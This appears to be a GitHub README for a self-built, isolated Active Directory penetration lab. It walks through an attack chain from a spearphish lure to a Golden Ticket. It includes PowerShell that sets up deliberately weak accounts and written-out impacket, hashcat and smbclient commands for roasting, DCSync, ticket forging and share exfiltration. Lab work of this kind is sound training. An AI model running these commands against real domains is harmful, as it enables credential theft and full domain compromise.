0xAquila/ad-lab

GitHub: 0xAquila/ad-lab

一套端到端的 Active Directory 域渗透实验靶场,从低权限凭据出发完整演示直至获取域控最高权限的攻击链。

Stars: 1 | Forks: 0

Evil Corp # Active Directory 攻击实验室 **完整的域渗透模拟 — 从低权限凭据到 Golden Ticket** ![Status](https://img.shields.io/badge/status-complete-brightgreen) ![Platform](https://img.shields.io/badge/platform-Windows%20Server%202022-blue) ![Attacker](https://img.shields.io/badge/attacker-Kali%20Linux-red) ![MITRE](https://img.shields.io/badge/MITRE%20ATT%26CK-8%20techniques-orange) ![Scenario](https://img.shields.io/badge/scenario-ShinyHunters%20×%20Evil%20Corp-purple)
## 场景 你作为 **ShinyHunters** 的一员进行操作。目标是 **Evil Corp International** —— 一家运行着 Windows Server 2022 Active Directory 域的金融服务公司,该域没有账户锁定策略,并且存在一些本不该以当前方式存在的账户。 情报显示,HR 上周发送了一封奖金通知。`john.doe` 打开了它。 你的目标:**获取域控制器的 SYSTEM 权限。完整泄露 Corp_Data。** | | | |---|---| | **初始访问** | 针对 `john.doe` 的鱼叉式钓鱼邮件 | | **目标** | DC SYSTEM shell + Corp_Data 泄露 | | **环境** | 隔离的 VirtualBox 仅主机网络 | | **工具** | impacket · hashcat · CrackMapExec · BloodHound CE · SharpHound | ## 网络拓扑 ``` graph LR K["Kali Linux\n192.168.56.50\nAttacker"] -->|Host-only adapter| W["WS01\n192.168.56.20\nWindows 10\nEmployee workstation"] K -->|Host-only adapter| D["EvilCorp\n192.168.56.10\nWindows Server 2022\nDomain Controller"] W -->|Domain member| D style K fill:#8b0000,color:#fff style W fill:#1a3a5a,color:#fff style D fill:#1a1a5a,color:#fff ``` **域:** `evil-corp.org` | **域 SID:** `S-1-5-21-3826544320-1685435737-4019831073` ## 攻击链 ``` flowchart TD A["Spearphish\njohn.doe@evil-corp.org\nHR bonus lure + .docm"] --> B["AS-REP Roasting\nPre-auth disabled\nOffline hash crack"] B --> C["Kerberoasting\nsvc_backup + svc_sql\nSPN tickets → hashcat"] C --> D["Password Spray\njane.admin\nWinter2024!"] D --> E["Pass-the-Hash\nNTLM hash → lateral\nmovement to WS01"] E --> F["DCSync\nDRSUAPI replication\nFull NTDS dump"] F --> G["Golden Ticket\nKRBTGT hash + Domain SID\nForged TGT → SYSTEM"] G --> H["Data Exfiltration\nCorp_Data share\n9 files · 6 departments"] H --> I["BloodHound\nFull domain map\nAttack path analysis"] style A fill:#5a1a1a,color:#fff style G fill:#1a1a5a,color:#fff style H fill:#1a3a1a,color:#fff style I fill:#3a1a5a,color:#fff ``` ## 攻击链表格 | 步骤 | 技术 | 工具 | MITRE ID | 结果 | |---|---|---|---|---| | 1 | 鱼叉式钓鱼 | HTML 诱饵 + `.docm` | T1566.001 | 初始访问向量 | | 2 | 网络枚举 | nmap, enum4linux-ng | T1046 | 域用户、共享、策略 | | 3 | AS-REP Roasting | impacket-GetNPUsers, hashcat | T1558.004 | `john.doe:Password123` | | 4 | Kerberoasting | impacket-GetUserSPNs, hashcat | T1558.003 | `svc_backup`, `svc_sql` 已被破解 | | 5 | 密码喷洒 | CrackMapExec | T1110.003 | `jane.admin:Winter2024!` | | 6 | Pass-the-Hash | CrackMapExec, psexec | T1550.002 | 横向移动到 WS01 | | 7 | DCSync | impacket-secretsdump | T1003.006 | KRBTGT 哈希 + 完整的 NTDS 转储 | | 8 | Golden Ticket | impacket-ticketer, psexec | T1558.001 | 域控制器上的 SYSTEM 权限 | | 9 | 数据泄露 | smbclient | T1039 | 9 个文件,6 个部门 | ## 核心发现 | 漏洞 | 账户 | 严重程度 | 影响 | |---|---|---|---| | Kerberos 预身份验证被禁用 | `john.doe` | 高 | 可进行 AS-REP Roasting —— 在无需凭据的情况下离线破解哈希 | | SPN 弱密码 | `svc_backup`, `svc_sql` | 高 | 可进行 Kerberoasting —— RC4 加密的票据可被离线破解 | | 无账户锁定策略 | 全局 | 高 | 可进行无限制的密码喷洒 | | 季节性密码模式 | `jane.admin` | 高 | `Winter2024!` —— 易于预测的格式 | | 域管理员具有 DCSync 权限 | `jane.admin` | 严重 | 可通过 DRSUAPI 完整转储 NTDS.dit | | Domain Users 可访问 Corp_Data | `john.doe` | 中 | 敏感共享在提权前即可读取 | ## 截图画廊 ### 枚举 | nmap 扫描 | enum4linux — 用户与共享 | |---|---| | ![nmap](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/d4a0319f19210156.png) | ![enum4linux](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/982fb58160210205.png) | ### Kerberoasting 与 AS-REP Roasting | Kerberoasting — 已获取哈希 | AS-REP Roasting — john.doe | |---|---| | ![kerberoasting](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/a4115a0e27210213.png) | ![asrep](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/786d12cd3f210222.png) | ### DCSync 与 Golden Ticket | DCSync — 完整的 NTDS 转储 | Golden Ticket — SYSTEM shell | |---|---| | ![dcsync](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/8dd3cd051f210231.png) | ![gt](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/eab3870723210237.png) | ### 数据泄露与 BloodHound | Corp_Data 已泄露 | BloodHound — 完整的域映射 | |---|---| | ![exfil](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/d5b51036a9210245.png) | ![bh](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/d190d0d69f210254.png) | **BloodHound — 完整的域攻击映射图** ### 社会工程学产物 | 鱼叉式钓鱼邮件 (Gmail 模拟) | ShinyHunters 勒索帖子 (BreachForums 模拟) | |---|---| | ![spearphish email](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/a3954af547210305.png) | ![ransom](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/bdb03497aa210314.png) | ## 实验环境复现 — 快速入门 ### 前置条件 - VirtualBox 7.x - Windows Server 2022 ISO - Windows 10 ISO - Kali Linux ISO ### 网络设置 这三台虚拟机均使用**仅主机适配器** (`VirtualBox Host-Only Network`)。设置完成后无需连接互联网。 | 虚拟机 | 操作系统 | IP | 角色 | |---|---|---|---| | EvilCorp | Windows Server 2022 | 192.168.56.10 | 域控制器 | | WS01 | Windows 10 | 192.168.56.20 | 员工工作站 | | Kali | Kali Linux | 192.168.56.50 | 攻击者 | ### DC01 设置 (PowerShell — 以管理员身份运行) ``` # 安装 AD DS Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools # 提升为 Domain Controller Install-ADDSForest -DomainName "evil-corp.org" -SafeModeAdministratorPassword (ConvertTo-SecureString "Pr0M7st3rAdm1n" -AsPlainText -Force) -Force # 重启后创建用户 New-ADUser -Name "john.doe" -AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) -Enabled $true New-ADUser -Name "jane.admin" -AccountPassword (ConvertTo-SecureString "Winter2024!" -AsPlainText -Force) -Enabled $true New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "Backup2020" -AsPlainText -Force) -Enabled $true New-ADUser -Name "svc_sql" -AccountPassword (ConvertTo-SecureString "Sqlserver1" -AsPlainText -Force) -Enabled $true # 将 jane.admin 添加到 Domain Admins Add-ADGroupMember -Identity "Domain Admins" -Members "jane.admin" # 为 john.doe 禁用 pre-auth (AS-REP Roastable) Set-ADAccountControl -Identity "john.doe" -DoesNotRequirePreAuth $true # 在服务账户上设置 SPNs (Kerberoastable) Set-ADUser -Identity "svc_backup" -ServicePrincipalNames @{Add="backup/evilcorp.evil-corp.org"} Set-ADUser -Identity "svc_sql" -ServicePrincipalNames @{Add="MSSQLSvc/evilcorp.evil-corp.org:1433"} # 禁用账户锁定 (用于增加真实性) $policy = Get-ADDefaultDomainPasswordPolicy Set-ADDefaultDomainPasswordPolicy -LockoutThreshold 0 ``` ### Kali 设置 ``` # 添加到 host-only 网络的静态路由 (每次会话运行) sudo ip addr add 192.168.56.50/24 dev eth0 sudo ip link set eth0 up # 将 DC 添加到 /etc/hosts echo "192.168.56.10 EvilCorp.evil-corp.org evil-corp.org" | sudo tee -a /etc/hosts # 将时钟同步到 DC (Kerberos 必需) sudo timedatectl set-timezone Europe/Sofia sudo ntpdate pool.ntp.org ``` ### 运行攻击链 ``` # 1. Enumeration nmap -sV -sC -p- 192.168.56.10 enum4linux-ng -A 192.168.56.10 -u john.doe -p Password123 # 2. AS-REP Roasting impacket-GetNPUsers evil-corp.org/john.doe -dc-ip 192.168.56.10 -no-pass -request # 3. Kerberoasting impacket-GetUserSPNs evil-corp.org/john.doe:Password123 -dc-ip 192.168.56.10 -request # 4. 离线破解 hashcat -m 18200 asrep.hash passwords.txt # AS-REP hashcat -m 13100 kerb.hash passwords.txt # Kerberoasting # 5. DCSync impacket-secretsdump evil-corp.org/jane.admin:Winter2024!@192.168.56.10 # 6. Golden Ticket impacket-ticketer -nthash -domain-sid -domain evil-corp.org Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass evil-corp.org/Administrator@EvilCorp.evil-corp.org # 7. 数据窃取 smbclient //192.168.56.10/Corp_Data -U evil-corp.org/Administrator --pw-nt-hash -c "recurse ON; prompt OFF; mget *" ``` ## MITRE ATT&CK 覆盖范围 | 战术 | 技术 | ID | |---|---|---| | 初始访问 | 钓鱼:鱼叉式附件 | T1566.001 | | 侦察 | 网络服务发现 | T1046 | | 凭据访问 | 窃取或伪造 Kerberos 票据:AS-REP Roasting | T1558.004 | | 凭据访问 | 窃取或伪造 Kerberos 票据:Kerberoasting | T1558.003 | | 凭据访问 | 暴力破解:密码喷洒 | T1110.003 | | 横向移动 | 使用备用认证材料:Pass the Hash | T1550.002 | | 凭据访问 | 操作系统凭据转储:DCSync | T1003.006 | | 凭据访问 | 窃取或伪造 Kerberos 票据:Golden Ticket | T1558.001 | | 收集 | 来自网络共享驱动器的数据 | T1039 | | 侦察 | 权限组发现 | T1069 | ## 项目结构 ``` ad-lab/ ├── README.md ├── HOW_IT_WORKS.md # Technical deep-dive per technique ├── BUILD_PROCESS.md # Honest build narrative ├── .gitignore ├── docs/ │ ├── spearphish_email.html # Gmail-style phishing simulation │ └── darkweb_leak_post.html # BreachForums-style leak post ├── diagrams/ │ ├── network_topology.md │ └── attack_chain.md ├── report/ │ └── pentest_report.md # Professional pentest report ├── screenshots/ │ ├── 01_enumeration/ │ ├── 02_kerberoasting/ │ ├── 03_as_rep_roasting/ │ ├── 04_pass_the_hash/ │ ├── 05_dcsync/ │ ├── 06_golden_ticket/ │ ├── 07_data_exfiltration/ │ └── 08_bloodhound/ └── notes/ └── lab_progress.md # Running command log ``` *本项目仅出于教育目的构建。仅在隔离的实验环境中运行。未对任何真实系统造成损害。*
标签:Active Directory, AD攻击, AS-REP Roasting, ATT&CK仿真, Bitdefender, BloodHound CE, Cloudflare, CrackMapExec, CTF靶场, Golden Ticket, Hashcat, Impacket, Kerberos攻击, MITRE ATT&CK, OPA, OpenCanary, Plaso, SharpHound, VEH, VirtualBox, Windows Server 2022, 协议分析, 反取证, 域渗透, 字典攻击, 安全实验, 安全演练, 安全评估, 数据展示, 数据窃取, 无线安全, 权限提升, 横向移动, 漏洞复现, 电子数据取证, 红队, 编程规范, 网络安全, 身份验证绕过, 隐私保护, 靶场, 靶场环境, 黄金票据